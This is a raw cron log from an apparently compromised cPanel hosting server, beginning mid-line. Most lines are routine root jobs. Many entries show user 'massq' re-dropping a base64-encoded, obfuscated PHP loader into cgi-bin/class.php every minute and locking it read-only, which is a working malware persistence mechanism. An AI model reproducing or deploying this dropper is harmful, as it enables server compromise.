"$fp")
Sep  9 01:03:01 server CROND[26795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:04:01 server CROND[27284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:04:01 server CROND[27285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:04:01 server CROND[27286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:05:01 server CROND[27801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:05:01 server CROND[27802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:05:01 server CROND[27803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:05:01 server CROND[27804]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 01:05:01 server CROND[27814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:05:01 server CROND[27815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:05:01 server CROND[27807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:05:01 server CROND[27817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:06:01 server CROND[29382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:06:01 server CROND[29383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:06:01 server CROND[29384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:07:01 server CROND[30415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:07:01 server CROND[30414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:07:01 server CROND[30423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:08:01 server CROND[31437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:08:01 server CROND[31438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:08:01 server CROND[31439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:09:01 server CROND[32170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:09:01 server CROND[32173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:09:01 server CROND[32171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:09:01 server CROND[32174]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 01:10:01 server CROND[32593]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:10:01 server CROND[32596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:10:01 server CROND[32598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:10:01 server CROND[32600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:10:01 server CROND[32601]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:10:01 server CROND[32599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:10:01 server CROND[32603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:10:01 server CROND[32597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:11:01 server CROND[1011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:11:01 server CROND[1010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:11:01 server CROND[1012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:12:01 server CROND[1498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:12:01 server CROND[1499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:12:01 server CROND[1500]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 01:12:01 server CROND[1502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:13:01 server CROND[1917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:13:01 server CROND[1918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:13:01 server CROND[1920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:14:01 server CROND[2347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:14:01 server CROND[2346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:14:01 server CROND[2345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:15:01 server CROND[2868]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:15:01 server CROND[2869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:15:01 server CROND[2875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:15:01 server CROND[2874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:15:01 server CROND[2872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
